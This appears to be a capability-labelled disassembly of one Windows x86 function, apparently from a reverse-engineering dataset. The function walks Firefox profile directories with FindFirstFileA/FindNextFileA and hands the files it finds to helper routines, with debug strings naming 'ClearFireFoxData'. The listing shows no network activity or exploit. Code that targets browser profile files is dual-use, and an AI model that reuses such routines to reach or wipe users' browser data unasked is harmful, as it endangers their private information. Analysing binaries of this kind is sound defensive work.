Function at 0x401760
Capabilities:
Enumerate files on windows

Disassembly:
sub esp, 0x57c
mov dword [esp], ecx
push esi
mov ecx, dword [0x405380]
push edi
mov dword [esp + 0x10], ecx
mov ecx, 6
mov esi, str.MozillaFirefoxProfiles
lea edi, [esp + 0x18]
rep movsd dword es:[edi], dword [esi]
mov eax, dword [str..default]
mov dx, word [0x405384]
mov dword [esp + 0xc], eax
mov al, byte [0x405386]
mov word [esp + 0x14], dx
mov byte [esp + 0x16], al
movsw word es:[edi], word [esi]
xor edx, edx
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x35]
mov byte [esp + 0x34], dl
mov byte [esp + 0x37c], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x37d]
mov dword [esp + 0x23c], edx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x4f
xor eax, eax
lea edi, [esp + 0x240]
rep stosd dword es:[edi], eax
mov edi, dword [esp + 0x588]
cmp edi, edx
je 0x401a79
cmp byte [edi], dl
je 0x401a79
mov eax, dword [esp + 0x58c]
cmp eax, edx
je 0x401a79
cmp byte [eax], dl
je 0x401a79
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebx
lea edx, [esp + 0x38]
mov ebx, ecx
mov esi, edi
or ecx, 0xffffffff
mov edi, edx
lea edx, [esp + 0x38]
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
push ebp
and ecx, 3
mov ebp, dword [sym.imp.KERNEL32.dll_FindFirstFileA]
rep movsb byte es:[edi], byte [esi]
or ecx, 0xffffffff
lea edi, [esp + 0x20]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov ebx, ecx
mov esi, edi
or ecx, 0xffffffff
mov edi, edx
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x384]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x3c]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x3c]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x14]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x244]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x40]
push ecx
call ebp
mov esi, eax
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextFileA]
cmp esi, 0xffffffff
je 0x40191e
mov ecx, dword [esp + 0x10]
lea edx, [esp + 0x270]
lea eax, [esp + 0x384]
push edx
push eax
call fcn.00401aa0
lea ecx, [esp + 0x244]
push ecx
push esi
call ebx
cmp eax, 1
je 0x4018ec
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
jmp 0x401930
lea edx, [esp + 0x3c]
push edx
push str._ClearFireFoxData_Find_Failed:__s_n
call fcn.00401000
add esp, 8
mov ecx, 0x82
xor eax, eax
lea edi, [esp + 0x3c]
lea edx, [esp + 0x3c]
rep stosd dword es:[edi], eax
mov ecx, 0x82
lea edi, [esp + 0x384]
rep stosd dword es:[edi], eax
mov edi, dword [esp + 0x594]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x3c]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
or ecx, 0xffffffff
lea edi, [esp + 0x20]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x384]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x3c]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x3c]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x14]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x244]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x40]
push ecx
call ebp
mov esi, eax
cmp esi, 0xffffffff
je 0x401a55
mov ecx, dword [esp + 0x10]
lea edx, [esp + 0x270]
lea eax, [esp + 0x384]
push edx
push eax
call fcn.00401ad0
lea ecx, [esp + 0x244]
push ecx
push esi
call ebx
cmp eax, 1
je 0x401a13
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
pop ebp
pop ebx
pop edi
mov eax, 1
pop esi
add esp, 0x57c
ret 0xc
lea edx, [esp + 0x3c]
push edx
push str._ClearFireFoxData_Find_Failed:__s_n
call fcn.00401000
add esp, 8
mov eax, 1
pop ebp
pop ebx
pop edi
pop esi
add esp, 0x57c
ret 0xc
push str.return_FALSE
call fcn.00401000
add esp, 4
xor eax, eax
pop edi
pop esi
add esp, 0x57c
ret 0xc